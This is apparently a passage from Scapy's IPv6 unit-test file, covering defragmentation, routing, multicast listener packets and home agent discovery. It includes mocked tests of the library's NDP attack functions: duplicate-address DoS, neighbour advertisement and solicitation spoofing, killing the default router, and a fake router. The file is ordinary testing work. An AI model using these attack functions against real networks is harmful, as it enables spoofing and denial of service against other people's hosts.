\\x00\\xb2\\x0f\\x00\\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'\n\n= defragment6 - test the packet length\npkts = fragment6(IPv6()/IPv6ExtHdrFragment()/UDP(dport=42, sport=42)/Raw(load=\"A\"*1500), 1280)\npkts = [IPv6(raw(p)) for p in pkts]\nassert defragment6(pkts).plen == 1508\n\n= defragment6 - discard payload\npkt = Ether() / IPv6() / ICMPv6EchoRequest(data='b'*100)\nfrags = fragment6(pkt, 100)\npkt = defragment6(Ether(raw(frag / Padding(b'a' * 8))) for frag in frags)\nassert b'a' not in pkt.data\n\n############\n############\n+ Test Route6 class\n\n= Fake interfaces\nconf.ifaces._add_fake_iface(\"eth0\")\nconf.ifaces._add_fake_iface(\"lo\")\nconf.ifaces._add_fake_iface(\"scapy0\")\n\n= Route6 - Route6 flushing\nconf_iface = conf.iface\nconf.iface = \"eth0\"\nconf.route6.routes=[\n(                               '::1', 128,                       '::',   'lo', ['::1'], 1), \n(          'fe80::20f:1fff:feca:4650', 128,                       '::',   'lo', ['::1'], 1)]\nconf.route6.flush()\nnot conf.route6.routes\n\n= Route6 - Route6.route\n\nconf.route6.flush()\nconf.route6.ipv6_ifaces = set(['lo', 'eth0'])\nconf.route6.routes=[\n(                               '::1', 128,                       '::',   'lo', ['::1'], 1), \n(          'fe80::20f:1fff:feca:4650', 128,                       '::',   'lo', ['::1'], 1), \n(                            'fe80::',  64,                       '::', 'eth0', ['fe80::20f:1fff:feca:4650'], 1),\n('2001:db8:0:4444:20f:1fff:feca:4650', 128,                       '::',   'lo', ['::1'], 1), \n(                 '2001:db8:0:4444::',  64,                       '::', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650'], 1), \n(                                '::',   0, 'fe80::20f:34ff:fe8a:8aa1', 'eth0', ['2001:db8:0:4444:20f:1fff:feca:4650', '2002:db8:0:4444:20f:1fff:feca:4650'], 1)\n]\nassert conf.route6.route(\"2002::1\") == ('eth0', '2002:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1')\nassert conf.route6.route(\"2001::1\") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1')\nassert conf.route6.route(\"fe80::20f:1fff:feab:4870\") == ('eth0', 'fe80::20f:1fff:feca:4650', '::')\nassert conf.route6.route(\"::1\") == ('lo', '::1', '::')\nassert conf.route6.route(\"::\") == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1')\nassert conf.route6.route('ff00::') == ('eth0', '2001:db8:0:4444:20f:1fff:feca:4650', 'fe80::20f:34ff:fe8a:8aa1')\nconf.iface = conf_iface\nconf.route6.resync()\nif not len(conf.route6.routes):\n    # IPv6 seems disabled. Force a route to ::1\n    conf.route6.routes.append((\"::1\", 128, \"::\", conf.loopback_name, [\"::1\"], 1))\n    True\n\n= Route6 - Route6.make_route\n\nr6 = Route6()\nr6.make_route(\"2001:db8::1\", dev=conf.loopback_name) in [\n    (\"2001:db8::1\", 128, \"::\", conf.loopback_name, [], 1),\n    (\"2001:db8::1\", 128, \"::\", conf.loopback_name, [\"::1\"], 1)\n]\nlen_r6 = len(r6.routes)\n\n= Route6 - Route6.add & Route6.delt\n\nr6.add(dst=\"2001:db8:cafe:f000::/64\", gw=\"2001:db8:cafe::1\", dev=\"eth0\")\nassert len(r6.routes) == len_r6 + 1\nr6.delt(dst=\"2001:db8:cafe:f000::/64\", gw=\"2001:db8:cafe::1\")\nassert len(r6.routes) == len_r6\n\n= Route6 - Route6.ifadd & Route6.ifdel\nr6.ifadd(\"scapy0\", \"2001:bd8:cafe:1::1/64\")\nr6.ifdel(\"scapy0\")\n\n= IPv6 - utils\n\nfrom unittest import mock\n@mock.patch(\"scapy.layers.inet6.get_if_hwaddr\")\n@mock.patch(\"scapy.layers.inet6.srp1\")\ndef test_neighsol(mock_srp1, mock_get_if_hwaddr):\n    mock_srp1.return_value = Ether()/IPv6()/ICMPv6ND_NA()/ICMPv6NDOptDstLLAddr(lladdr=\"05:04:03:02:01:00\")\n    mock_get_if_hwaddr.return_value = \"00:01:02:03:04:05\"\n    return neighsol(\"fe80::f6ce:46ff:fea9:e04b\", \"fe80::f6ce:46ff:fea9:e04b\", \"scapy0\")\n\np = test_neighsol()\nICMPv6NDOptDstLLAddr in p and p[ICMPv6NDOptDstLLAddr].lladdr == \"05:04:03:02:01:00\"\n\n\n@mock.patch(\"scapy.layers.inet6.neighsol\")\n@mock.patch(\"scapy.layers.inet6.conf.route6.route\")\ndef test_getmacbyip6(mock_route6, mock_neighsol):\n    mock_route6.return_value = (\"scapy0\", \"fe80::baca:3aff:fe72:b08b\", \"::\")\n    mock_neighsol.return_value = test_neighsol()\n    return getmacbyip6(\"fe80::704:3ff:fe2:100\")\n\ntest_getmacbyip6() == \"05:04:03:02:01:00\"\n\n= IPv6 - IPerror6 & UDPerror & _ICMPv6Error & TCPerror\n\nquery = IPv6(dst=\"2001:db8::1\", src=\"2001:db8::2\", hlim=1)/UDP()/DNS()\nanswer = IPv6(dst=\"2001:db8::2\", src=\"2001:db8::1\", hlim=1)/ICMPv6TimeExceeded()/IPerror6(dst=\"2001:db8::1\", src=\"2001:db8::2\", hlim=0)/UDPerror()/DNS()\nanswer.answers(query) == True\n\n# Test _ICMPv6Error\nfrom scapy.layers.inet6 import _ICMPv6Error\nassert _ICMPv6Error().guess_payload_class(None) == IPerror6\nassert _ICMPv6Error().hashret() == b''\n\n# Test with extension header\n# From:\n# pkt = IPv6() / ICMPv6DestUnreach() / IPerror6 () / IPv6ExtHdrFragment(nh=6) / TCPerror()\nraw_pkt = b'`\\x00\\x00\\x00\\x00L:@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x01\\x00l5\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x1c,@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00P\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00\\x8f}\\x00\\x00'\nIPv6(raw_pkt).summary()\nassert TCPerror in IPv6(raw_pkt)\n\n= reset routes properly\n\nconf.ifaces.reload()\n\nif WINDOWS:\n    from scapy.arch.windows import _route_add_loopback\n    _route_add_loopback()\n\n############\n############\n+ ICMPv6ML\n\n= ICMPv6MLQuery - build & dissection\ns = raw(IPv6(src=\"fe80::1\")/ICMPv6MLQuery())\nassert s == b\"`\\x00\\x00\\x00\\x00\\x18:\\x01\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x82\\x00Y\\x17'\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\np = IPv6(s)\nassert ICMPv6MLQuery in p and p[IPv6].dst == \"ff02::1\"\n\n= Check answers\n\nq = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery()\na = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport()\n\nassert a.answers(q)\n\n############\n############\n+ ICMPv6MLv2\n\n= ICMPv6MLQuery2 - build & dissection\np = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery2(sources=[\"::1\"])\ns = raw(p)\nassert s == b\"`\\x00\\x00\\x00\\x004\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01:\\x00\\x05\\x02\\x00\\x00\\x01\\x00\\x82\\x00V\\x85'\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\"\n\np = IPv6(s)\nassert ICMPv6MLQuery2 in p and p.sources_number == 1\n\n= ICMPv6MLReport2 - build & dissection\np = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport2(records=[ICMPv6MLDMultAddrRec(), ICMPv6MLDMultAddrRec(sources=[\"::1\"], auxdata=\"scapy\")])\ns = raw(p)\nassert s == b'`\\x00\\x00\\x00\\x00M\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01:\\x00\\x05\\x02\\x00\\x00\\x01\\x00\\x8f\\x00\\x1a\\xa1\\x00\\x00\\x00\\x02\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x05\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01scapy'\n\np = IPv6(s)\nassert ICMPv6MLReport2 in p and p.records_number == 2\n\n= ICMPv6MLReport2 and ICMPv6MLDMultAddrRec - dissection\n\nz = b'33\\x00\\x00\\x00\\x16\\xd0P\\x99V\\xdd\\xf9\\x86\\xdd`\\x00\\x00\\x00\\x00\\x1c:\\x01\\xfe\\x80\\x00\\x00\\x00\\x00\\x00\\x00q eX\\x98\\x86\\xfa\\x88\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x16\\x8f\\x00\\x13\\x4d\\x00\\x00\\x00\\x01\\x04\\x00\\x00\\x00\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xffR\\xf3\\xe1'\nw = Ether(z)\n\nassert len(w.records) == 1\nassert isinstance(w.records[0], ICMPv6MLDMultAddrRec)\nassert w.records[0].dst == \"ff02::1:ff52:f3e1\"\n\n= Check answers\n\nq = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLQuery2()\na = IPv6()/IPv6ExtHdrHopByHop(options=[RouterAlert()])/ICMPv6MLReport2()\n\nassert a.answers(q)\n\n\n############\n############\n+ IPv6 attacks\n\n= Define test utilities\n\nfrom unittest import mock\n\n@mock.patch(\"scapy.layers.inet6.sniff\")\n@mock.patch(\"scapy.layers.inet6.sendp\")\ndef test_attack(function, pktlist, sendp_mock, sniff_mock, options=()):\n    pktlist = [Ether(raw(x)) for x in pktlist]\n    ret_list = []\n    def _fake_sniff(lfilter=None, prn=None, **kwargs):\n        for p in pktlist:\n            if lfilter and lfilter(p) and prn:\n                prn(p)\n    sniff_mock.side_effect = _fake_sniff\n    def _fake_sendp(pkt, *args, **kwargs):\n        ret_list.append(Ether(raw(pkt)))\n    sendp_mock.side_effect = _fake_sendp\n    function(*options)\n    return ret_list\n\n= Test NDP_Attack_DAD_DoS_via_NS\n\ndata = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:00:11:11')/IPv6(src=\"::\", dst=\"ff02::1:ff00:1111\")/ICMPv6ND_NS(tgt=\"ffff::1111\", code=17, res=3758096385),\n        Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:5d:c3:53')/IPv6(src=\"::\", dst=\"ff02::1:ff5d:c353\")/ICMPv6ND_NS(tgt=\"b643:44c3:f659:f8e6:31c0:6437:825d:c353\"),\n        Ether()/IP()/ICMP()]\nresults = test_attack(NDP_Attack_DAD_DoS_via_NS, data)\nassert len(results) == 2\n\na = results[0][IPv6]\nassert a[IPv6].src == \"::\"\nassert a[IPv6].dst == \"ff02::1:ff00:1111\"\nassert a[IPv6].hlim == 255\nassert a[ICMPv6ND_NS].tgt == \"ffff::1111\"\n\nb = results[1][IPv6]\nassert b[IPv6].src == \"::\"\nassert b[IPv6].dst == \"ff02::1:ff5d:c353\"\nassert b[IPv6].hlim == 255\nassert b[ICMPv6ND_NS].tgt == \"b643:44c3:f659:f8e6:31c0:6437:825d:c353\"\n\n= Test NDP_Attack_DAD_DoS_via_NA\n\ndata = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:00:11:11')/IPv6(src=\"::\", dst=\"ff02::1:ff00:1111\")/ICMPv6ND_NS(tgt=\"ffff::1111\", code=17, res=3758096385),\n        Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:5d:c3:53')/IPv6(src=\"::\", dst=\"ff02::1:ff5d:c353\")/ICMPv6ND_NS(tgt=\"b643:44c3:f659:f8e6:31c0:6437:825d:c353\"),\n        Ether()/IP()/ICMP()]\nresults = test_attack(NDP_Attack_DAD_DoS_via_NA, data, options=(None, None, None, \"ab:ab:ab:ab:ab:ab\"))\nassert len(results) == 2\nresults[0].dst = \"ff:ff:ff:ff:ff:ff\"\nresults[1].dst = \"ff:ff:ff:ff:ff:ff\"\n\na = results[0]\nassert a[Ether].dst == \"ff:ff:ff:ff:ff:ff\"\nassert a[Ether].src == \"ab:ab:ab:ab:ab:ab\"\nassert a[IPv6].src == \"ffff::1111\"\nassert a[IPv6].dst == \"ff02::1:ff00:1111\"\nassert a[IPv6].hlim == 255\nassert a[ICMPv6ND_NA].tgt == \"ffff::1111\"\nassert a[ICMPv6NDOptDstLLAddr].lladdr == \"ab:ab:ab:ab:ab:ab\"\n\nb = results[1]\nassert b[Ether].dst == \"ff:ff:ff:ff:ff:ff\"\nassert b[Ether].src == \"ab:ab:ab:ab:ab:ab\"\nassert b[IPv6].src == \"b643:44c3:f659:f8e6:31c0:6437:825d:c353\"\nassert b[IPv6].dst == \"ff02::1:ff5d:c353\"\nassert b[IPv6].hlim == 255\nassert b[ICMPv6ND_NA].tgt == \"b643:44c3:f659:f8e6:31c0:6437:825d:c353\"\nassert b[ICMPv6NDOptDstLLAddr].lladdr == \"ab:ab:ab:ab:ab:ab\"\n\n= Test NDP_Attack_NA_Spoofing\n\ndata = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:d4:e5:f6')/IPv6(src=\"753a:727c:97b5:f71d:51ea:3901:ab52:e110\", dst=\"ff02::1:ffd4:e5f6\")/ICMPv6ND_NS(tgt=\"ff02::1:ffd4:e5f6\", code=171, res=3758096),\n        Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:e4:68:c9:4f')/IPv6(src=\"753a:727c:97b5:f71d:51ea:3901:ab52:e110\", dst=\"fe9c:98b0:52b5:7033:5db0:394f:e468:c94f\")/ICMPv6ND_NS(),\n        Ether()/IP()/ICMP()]\nresults = test_attack(NDP_Attack_NA_Spoofing, data, options=(None, None, None, \"ff:ff:ff:ff:ff:ff\", None))\nassert len(results) == 2\n\na = results[0]\nassert a[Ether].dst == \"aa:aa:aa:aa:aa:aa\"\nassert a[Ether].src == \"ff:ff:ff:ff:ff:ff\"\nassert a[IPv6].src == \"ff02::1:ffd4:e5f6\"\nassert a[IPv6].dst == \"753a:727c:97b5:f71d:51ea:3901:ab52:e110\"\nassert a[IPv6].hlim == 255\nassert a[ICMPv6ND_NA].R == 0\nassert a[ICMPv6ND_NA].S == 1\nassert a[ICMPv6ND_NA].O == 1\nassert a[ICMPv6ND_NA].tgt == \"ff02::1:ffd4:e5f6\"\nassert a[ICMPv6NDOptDstLLAddr].lladdr == \"ff:ff:ff:ff:ff:ff\"\n\nb = results[1]\nassert b[Ether].dst == \"aa:aa:aa:aa:aa:aa\"\nassert b[Ether].src == \"ff:ff:ff:ff:ff:ff\"\nassert b[IPv6].src == \"::\"\nassert b[IPv6].dst == \"753a:727c:97b5:f71d:51ea:3901:ab52:e110\"\nassert b[IPv6].hlim == 255\nassert b[ICMPv6ND_NA].R == 0\nassert b[ICMPv6ND_NA].S == 1\nassert b[ICMPv6ND_NA].O == 1\nassert b[ICMPv6ND_NA].tgt == \"::\"\nassert b[ICMPv6NDOptDstLLAddr].lladdr == \"ff:ff:ff:ff:ff:ff\"\n\n= Test NDP_Attack_Kill_Default_Router\n\ndata = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ff:d4:e5:f6')/IPv6(src=\"753a:727c:97b5:f71d:51ea:3901:ab52:e110\", dst=\"ff02::1:ffd4:e5f6\")/ICMPv6ND_RA(routerlifetime=1),\n        Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src=\"fe9c:98b0:52b5:7033:5db0:394f:e468:c94f\", dst=\"753a:727c:97b5:f71d:51ea:3901:ab52:e110\")/ICMPv6ND_RA(routerlifetime=1),\n        Ether()/IP()/\"RANDOM\"]\nresults = test_attack(NDP_Attack_Kill_Default_Router, data)\nassert len(results) == 2\n\na = results[0][IPv6]\nassert a[IPv6].src == \"753a:727c:97b5:f71d:51ea:3901:ab52:e110\"\nassert a[IPv6].dst == \"ff02::1\"\nassert a[IPv6].hlim == 255\nassert a[ICMPv6ND_RA].M == 0\nassert a[ICMPv6ND_RA].O == 0\nassert a[ICMPv6ND_RA].H == 0\nassert a[ICMPv6ND_RA].P == 0\nassert a[ICMPv6ND_RA].routerlifetime == 0\nassert a[ICMPv6ND_RA].reachabletime == 0\nassert a[ICMPv6ND_RA].retranstimer == 0\nassert a[ICMPv6NDOptSrcLLAddr].lladdr == \"aa:aa:aa:aa:aa:aa\"\n\nb = results[1][IPv6]\nassert b[IPv6].src == \"fe9c:98b0:52b5:7033:5db0:394f:e468:c94f\"\nassert b[IPv6].dst == \"ff02::1\"\nassert b[IPv6].hlim == 255\nassert b[ICMPv6ND_RA].M == 0\nassert b[ICMPv6ND_RA].O == 0\nassert b[ICMPv6ND_RA].H == 0\nassert b[ICMPv6ND_RA].P == 0\nassert b[ICMPv6ND_RA].routerlifetime == 0\nassert b[ICMPv6ND_RA].reachabletime == 0\nassert b[ICMPv6ND_RA].retranstimer == 0\nassert b[ICMPv6NDOptSrcLLAddr].lladdr == \"aa:aa:aa:aa:aa:aa\"\n\n= Test NDP_Attack_Fake_Router\n\nra  = Ether()/IPv6()/ICMPv6ND_RA()\nra /= ICMPv6NDOptPrefixInfo(prefix=\"2001:db8:1::\", prefixlen=64)\nra /= ICMPv6NDOptPrefixInfo(prefix=\"2001:db8:2::\", prefixlen=64)\nra /= ICMPv6NDOptSrcLLAddr(lladdr=\"00:11:22:33:44:55\")\n\nrad = Ether(raw(ra))\n\ndata = [Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src=\"753a:727c:97b5:f71d:51ea:3901:ab52:e110\", dst=\"ff02::1:ffd4:e5f6\")/ICMPv6ND_RS(code=11, res=3758096),\n        Ether(src='aa:aa:aa:aa:aa:aa', dst='33:33:ab:52:e1:10')/IPv6(src=\"753a:727c:97b5:f71d:51ea:3901:ab52:e110\", dst=\"fe9c:98b0:52b5:7033:5db0:394f:e468:c94f\")/ICMPv6ND_RS(),\n        Ether()/IP()/ICMP()]\nresults = test_attack(NDP_Attack_Fake_Router, data, options=(ra,))\nassert len(results) == 2\n\nassert results[0] == rad\nassert results[1] == rad\n\n= Test NDP_Attack_NS_Spoofing\n\nr = test_attack(NDP_Attack_NS_Spoofing, [], options=(\"aa:aa:aa:aa:aa:aa\", \"753a:727c:97b5:f71d:51ea:3901:ab52:e110\", \"2001:db8::1\", 'e4a0:654b:1a24:1b15:761d:2e5d:245d:ba83', \"cc:cc:cc:cc:cc:cc\", \"dd:dd:dd:dd:dd:dd\"))[0]\n\nassert r[Ether].dst == \"dd:dd:dd:dd:dd:dd\"\nassert r[Ether].src == \"cc:cc:cc:cc:cc:cc\"\nassert r[IPv6].hlim == 255\nassert r[IPv6].src == \"753a:727c:97b5:f71d:51ea:3901:ab52:e110\"\nassert r[IPv6].dst == \"e4a0:654b:1a24:1b15:761d:2e5d:245d:ba83\"\nassert r[ICMPv6ND_NS].tgt == \"2001:db8::1\"\nassert r[ICMPv6NDOptSrcLLAddr].lladdr == \"aa:aa:aa:aa:aa:aa\"\n\n# Below is our Homework : here is the mountain ...\n#\n\n########### ICMPv6MLReport Class ####################################\n########### ICMPv6MLDone Class ######################################\n########### ICMPv6ND_Redirect Class #################################\n########### ICMPv6NDOptSrcAddrList Class ############################\n########### ICMPv6NDOptTgtAddrList Class ############################\n########### ICMPv6ND_INDSol Class ###################################\n########### ICMPv6ND_INDAdv Class ###################################\n\n############\n############\n+ Home Agent Address Discovery\n\n= in6_getha()\nin6_getha('2001:db8::') == '2001:db8::fdff:ffff:ffff:fffe'\n\n= ICMPv6HAADRequest - build/dissection\np = IPv6(raw(IPv6(dst=in6_getha('2001:db8::'), src='2001:db8::1')/ICMPv6HAADRequest(id=42)))\np.cksum == 0x9620 and p.dst == '2001:db8::fdff:ffff:ffff:fffe' and p.R == 1\n\n= ICMPv6HAADReply - build/dissection\np = IPv6(raw(IPv6(dst='2001:db8::1', src='2001:db8::42')/ICMPv6HAADReply(id=42, addresses=['2001:db8::2', '2001:db8::3'])))\np.cksum = 